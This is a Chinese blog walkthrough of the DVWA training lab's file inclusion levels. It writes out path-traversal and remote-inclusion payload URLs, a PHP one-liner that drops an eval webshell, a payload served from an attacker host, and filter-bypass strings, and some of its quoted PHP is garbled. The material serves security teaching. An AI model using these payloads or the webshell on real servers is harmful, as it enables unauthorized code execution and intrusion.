文件包含漏洞——DVWA靶场file inclusion实验详解

最新推荐文章于 2024-05-19 09:10:58 发布
最新推荐文章于 2024-05-19 09:10:58 发布
阅读量7.2k 收藏 33
点赞数 6
分类专栏： 靶场实验 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ploto_cs/article/details/109363335
版权

文章目录

一．文件包含漏洞

1.什么是文件包含？
程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，直接调用此文件，无需再次编写，这种调用文件的过程一般被称为文件包含。

2.文件包含漏洞的形成原因
随着网站业务的需求，程序开发人员一般希望代码更灵活，所以将被包含的文件设置为变量，用来进行动态调用，但是正是这种灵活性通过动态变 量的方式引入需要包含的文件时，用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。

3.文件包含漏洞简介
File Inclusion，文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_once()）利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。
require()：可以包含文件，如果包含错了，直接报错并退出程序的执行
include()：在包含的过程中如果出现错误，会抛出一个警告，程序继续正常运行
require_once()：与require类似，区别在于当重复调用同一文件时，程序只调用一次
include_once()：与include类似，区别在于当重复调用同一文件时，程序只调用一次

4.文件包含漏洞类型
本地文件包含漏洞与远程文件包含漏洞
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项（选项开启之后，服务器允许包含一个远程的文件）。

5.类似
伪协议、file、phpinput://

参考文章：
https://blog.csdn.net/qq_41210745/article/details/103276849#high%E7%BA%A7%E5%88%AB%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90

二．实验环境

靶场IP：127.0.0.1

远程服务器（kali）IP:192.168.126.129

环境配置：在dvwa里第一次测试训练时,会在File Inclusion这里看到“The PHP function allow_url_include is not enabled”这个的报错提醒,这个提示告诉我们PHP函数allow_url_include还未启用.

在这里插入图片描述

查看对应PHP版本号

在这里插入图片描述

打开对应PHP版本号中的php.ini文件
修改allow_url_include，将原来的off改为on,保存，并重新刷新界面

在这里插入图片描述

重新刷新界面

在这里插入图片描述

三．LOW

1.代码审计

直接使用get方式传参，可以直接对资源进行访问，没有任何拦截

File Inclusion Source
<?php
    $file = $_GET['page']; //The page we wish to display 
?>

2.漏洞复现

(1)本地文件包含

依次点击这3个文件

在这里插入图片描述
可以看到URL中仅仅是page=后的参数发生变化
因此可以将page后的参数视为可控字段，以此进行实验

在这里插入图片描述

使用一个不存在的php文件进行测试

测试语句：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=test.php

在这里插入图片描述
可以发现还爆出了文件的路径

测试语句：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini

注：因为文件位于fi文件夹下，距离根目录还有2层，所以可以使用…/…/进行跨目录读取
在这里插入图片描述
成功回显

测试语句：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../phpinfo.php

在这里插入图片描述

这表明了文件包含不仅仅能读文件,还能执行文件,尝试从本地包含文件

先通过文件上传漏洞，传给他一个hack.jpg的图片木马，然后在使用文件包含解析他
一句话木马,当我们执行这句木马的时候，他就会创建一个shell.php的文件，里面就是一句话木马。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
在这里插入图片描述

复制上传路径，重新回到文件包含

测试语句：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../hackable/uploads/hack.jpg

在这里插入图片描述

程序没有报错，文件解析成功

为了验证结果，可以去靶机下的/vulnerabilities/fi进行查看，会发现增加了
shell.php文件
在这里插入图片描述

使用蚁剑进行连接

在这里插入图片描述

注：渗透思路
有时候当我们发现了一个本地的文件包含漏洞，但我们也仅仅只能去读取一些本地的文件，没有办法去进行更深层次的利用，然后又在这个网站上发现了一个文件上传漏洞，同时这个文件上传漏洞如果单个来看是比较鸡肋的，比如它做了限制，只能发送图片，而这个图片却没有做严格的限制，我们可以通过一些图片木马来绕过上传，而这两个漏洞结合一下的话，就能达到很大效果了 比如我们上传了一个图片木马，没法单独去使用，但我们可以使用文件包含漏洞，去对这个文件进行包含，也就是说两个文件互相结合进行利用

(2)远程文件包含

搭建服务器

命令：
systemctl start apache2 开启服务
systemctl status apache2 检测状态

在这里插入图片描述

在kali本地网络文件下（/var/www/html）存放hack.txt文件
在这里插入图片描述
内容：
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>

测试语句：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.126.129/hack.txt

在这里插入图片描述

没有报错，解析成功，验证shell.php是否解析成功
在这里插入图片描述

可以继续使用蚁剑进行连接，与上同，这里不做演示

在这里插入图片描述

四．Medim

1.代码审计

<?php
file=_GET[ 'page' ];
file=strreplace(array("http://","https://"),"",file );
file=strreplace(array("../","..\""),"",file );
?>

利用str_replace函数，将https://和http://替换成空
使得正常远程文件包含漏洞失效

2.漏洞复现

(1)本地包含漏洞

代码中只对远程包含添加了限制，故本地包含没有影响，做法与上同

(2)远程包含漏洞

在kali中新建一个test.txt文件 内容：111

测试语句：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://192.168.126.129/test.txt

在这里插入图片描述

网页报错，远程文件包含被php脚本阻止

调整测试语句，因为代码中过滤了http://，将头部改为hthttp://tp:// 绕过防护

测试语句：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hthttp://tp://192.168.126.129/test.txt

文件正常访问，可以将文件替换成木马
在这里插入图片描述

五．High

1.代码审计

<?php   
    $file = $_GET['page']; //The page we wish to display 
    // Only allow include.php
    if ( !(fnmatch( "file*", $file)) && $file != "include.php" ) {
        echo "ERROR: File not found!";
        exit;
    }     
?>

指定了白名单，只允许特定的文件执行。还增加了fnmatch()函数检查page参数，要求page参数的开头必须是file，服务器才会去包含相应的文件。

2.漏洞复现

白名单中有file*
因此可以使用file协议（文件传输协议），访问本地计算机中的木马/文件

测试语句：

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///E:/PHP%20Study%20v8.1/PHPTutorial/WWW/DVWA/php.ini

在这里插入图片描述

正常回显，成功读取php.ini文件

至于执行任意命令，需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件，然后再利用file协议去包含上传文件（需要知道上传文件的绝对路径），从而实现任意命令执行。

六．impossible

1.代码审计

<?php
// The page we wish to display
file=_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( file != "include.php" &&
file != "file1.php" && file != "file2.php" &&
file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}
 ?>

没得救
只允许四个文件可以访问，彻底杜绝了文件包含漏洞

参考文章

  • https://blog.csdn.net/qq_42357070/article/details/82115530?biz_id=102&utm_term=dvwa%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-0-82115530&spm=1018.2118.3001.4187
  • https://www.cnblogs.com/Lee-404/p/12821986.html
  • https://blog.csdn.net/kirito_pio/article/details/106565478?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160389285119725255529706%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=160389285119725255529706&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v28-1-106565478.pc_first_rank_v2_rank_v28&utm_term=dvwa+%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&spm=1018.2118.3001.4187
  • https://blog.csdn.net/Lonelyhat/article/details/90812545?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522160389285119725255529706%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=160389285119725255529706&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_v2~rank_v28-2-90812545.pc_first_rank_v2_rank_v28&utm_term=dvwa+%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&spm=1018.2118.3001.4187

网络信息安全——ploto

ploto_cs
关注
  • 6
    点赞
  • 踩
  • 33
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
专栏目录
DVWA——文件包含漏洞详细全解（具体操作步骤和多种方式进行漏洞利用）
weixin_46709219的博客
11-07 1万+
文件包含详细：https://www.cnblogs.com/hai-long/p/10326361.html 文件包含基础：https://blog.csdn.net/weixin_34357928/article/details/85077218 谢公子文件包含：https://blog.csdn.net/qq_36119192/article/details/82915884 中国菜刀Apache：https://blog.csdn.net/sunshine1_0/article/details/86
文件上传漏洞超详细解析（DVWA）
于高山之巅，方见大河奔涌；于群峰之上，更觉长风浩荡。
01-09 1563
当然了，代码还有很多种写法，这只是比较简单的一种，一些特殊情况下还要使用别的写法。
文件包含漏洞--pikachu靶场
最新发布
嘿嘿嘿
05-19 713
2.include "include/$filename"---这是23行的内容也是漏洞的成因，因为将用户的get请求中的参数直接无条件的放入include语句去执行。通过下拉菜单选择球星实际是发送不同的get请求回显对应内容，文件包含漏洞的关键是文件包含函数(include/require)身份对参数有严格定义，因此我们是要找到能调用文件包含的php文件。文件包含并不属于漏洞，但是，由于对包含进来的文件不可控，导致了文件包含漏洞的产生。：在包含文件时，如果找不到包含的文件，它只会产生告警，页面的。
DVWA全系列-文件包含
leriger的博客
09-24 1888
文件包含漏洞属于漏洞，为了减少重复代码的编写，引入了文件包含函数，通过文件包含函数将文件包含进来，直接使用包含文件的代码；简单来说就是一个文件里面包含另外一个或多个文件。几乎所有脚本语言都会提供文件包含的功能。文件包含的原理PHP中提供了四个文件包含的函数，分别是include()、include_once()、require()和require_once()。这四个函数都可以进行文件包含，但作用并不一样。require：找不到被包含的文件时会产生致命错误，并停止脚本。
DVWA-文件包含漏洞
qq_43660551的博客
03-05 1万+
文件包含：当服务器开启allow_url_include选项时，可以通过某些特性函数如：include() , require() , include_once() , require_once() 利用url去动态地包含文件，若未对文件进行来源审查，就会导致任意文件读取或者任意命令执行。 分类： （1）本地文件包含 （2）远程文件包含：因为开启了PHP配置中的allow_url_fopen选项，服务器允许包含一个远程文件。 一、low 看下服务器端核心代码：page为做任何过滤。
Dvwa漏洞测试之文件包含笔记
JBlock的博客
11-01 5492
漏洞产生原因的本质是：用给定的可控的输入，输入了不可控的参数或代码，产生了不可控的结果。 文件包含漏洞我在前面已经进行过讲述，今天就漏洞测试和漏洞利用讨论下，漏洞测试环境是Dvwa。 漏洞产生原因：被包含的页面可以被攻击者控制，也就是说攻击者可以随心所欲地去包含某个页面。 由于本次测试远程包含测试出现问题，暂不测试，本阶段暂时只测试本地包含。漏洞测试：Low首先查看源码：<?php //
DVWA之文件包含
weixin_46429206的博客
12-03 3124
Windows 本地文件包含 低 查看源码 不存在过滤，可直接读取或执行文件内容 中 源码中存在一些过滤规则，我们只需要进行复写或者大小写转换即可绕过 1、使用绝对路径 2、使用相对路径复写或者是大小写绕过 高 要求文件变量以file开头，因此远程文件包含失效，只能使用本地文件包含，且需要用到file协议 Linux 低 中 因为源码里过滤的是http和https，因此不影响我们使用相对路径和绝对路径 远程文件包含 低 Shell.php内容 攻击者访问受害者shell.php文件
kali2021.3安装dvwa靶场
02-24
标题中的“kali2021.3安装dvwa靶场”是指在Kali Linux 2021.3版本中安装DVWA（Damn Vulnerable Web Application）的过程，这是一个广泛用于Web...在DVWA靶场中，可以模拟真实的漏洞环境，进行练习和提升自己的技能。
DVWA靶场，集成了owasp top 10漏洞
03-28
在DVWA靶场，你可以看到如何通过调整服务器配置或文件权限来利用这些错误。 6. A6：敏感数据泄露（Sensitive Data Exposure） - 未加密或保护不当的敏感信息可能被窃取。在DVWA中，这可能涉及到查看源代码以寻找...
DVWA靶场环境依赖文件
10-11
该文件来着官网下载，需要的uu可以下载，方便DVWA靶场环境搭建
DVWA靶场环境搭建-dvwa.rar
10-15
DVWA靶场环境文件
dvwa靶场，里面也有xss靶场
09-24
这个靶场模拟了各种常见的Web应用漏洞，包括XSS（跨站脚本攻击）、SQL注入、文件包含等，帮助用户了解如何识别和修复这些安全问题。 1. **XSS（跨站脚本攻击）靶场** XSS攻击是指攻击者通过在网页中插入恶意脚本，...
漏洞复现篇——文件包含漏洞（DVWA靶场---File Inclusion【低中高级绕过】）
爱国小白帽
02-19 3858
实验环境： PHPstudy DVWA靶场 菜刀 环境搭建 1、将DVWA Security級別换成low 2、打开php的配置文件，搜索allow_url_include，把off换成on，然后重启 模拟实验 本地文件包含(LFI) 1、点击File Inclusion中的file1.php 2、在图示位置输入C:\Windows\System32\drivers\etc\hosts...
DVWA-File Inclusion（文件包含）
Cwillchris的博客
10-28 2266
实验环境： DVWA靶机：172.16.12.10 windos攻击机：172.16.12.7 kali攻击机：172.16.12.30 实验步骤： FileInclusion，意思是文件包含（漏洞），是指当服务器开启 allow_url_include选项时，就可以通过php的某些特性函数（include()， require()和include_once()，require_once()）利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。.
红中私教-文件上传漏洞DVWA靶场实战(浅析)
m0_55400802的博客
01-05 670
针对于文件上传漏洞这个漏洞为什么存在？目的是什么？我们为什幺要攻击这个漏洞？
【文件包含漏洞】
qq_55213436的博客
03-27 4417
一、前言 把可重复使用函数写入到单个文件中，在使用该函数，直接调用此文件，无需编写函数，这一调用文件的过程被称为包含。文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数，网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件，也可以包含我们服务器内部的其他文件，前提条件就是我们需要有可读的权限才能读取这些文件 ,所以这样就会导致文件包含漏洞。 二、文件包含...
DVWA靶场教程
热门推荐
wxh的博客
01-15 2万+
Burt Force(暴力破解)
iwebsec靶场 文件包含漏洞通关笔记1-本地文件包含漏洞
mooyuan的博客
04-20 1661
文件包含，是一个功能。在各种开发语言中都提供了内置的文件包含函数，其可以使开发人员在一个代码文件中直接包含（引入）另外一个代码文件。比如 在PHP中，提供了：这些文件包含函数，这些函数在代码设计中被经常使用到。
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8329
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
dvwa靶场文件上传漏洞高级（high）
07-08
dvwa靶场是一个用于学习和测试Web应用程序漏洞的虚拟环境。文件上传漏洞是一种常见的安全漏洞，允许攻击者上传恶意文件到服务器上，可能导致远程代码执行或其他安全问题。 在dvwa靶场中，高级（high）级别的文件上传漏洞可通过以下步骤进行利用： 1. 登录到dvwa靶场：打开浏览器，输入dvwa的URL（如http://localhost/dvwa），然后使用默认的用户名和密码（admin/password）登录到dvwa靶场。 2. 寻找文件上传功能：在左侧的导航栏中，选择"File Upload"（文件上传）。 3. 检查上传限制：在高级级别中，dvwa通常会对上传文件的类型、大小和扩展名进行限制。查看页面上可能存在的任何限制提示。 4. 绕过文件类型限制：通常，服务器会根据文件扩展名来判断文件类型。尝试使用常见的绕过技巧，例如将文件扩展名修改为允许的类型之一（例如，将".php"修改为".jpg"）。 5. 绕过文件大小限制：如果服务器对文件大小进行了限制，可以尝试使用分片上传或其他技术来绕过这些限制。 6. 利用上传的文件：一旦成功上传文件，可以尝试执行任意代码或访问上传的文件。 请注意，上述步骤仅适用于学习和测试目的，在真实环境中利用文件上传漏洞是非法的。确保在合法、合规的环境中进行安全测试，并遵守适用法律和道德准则。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值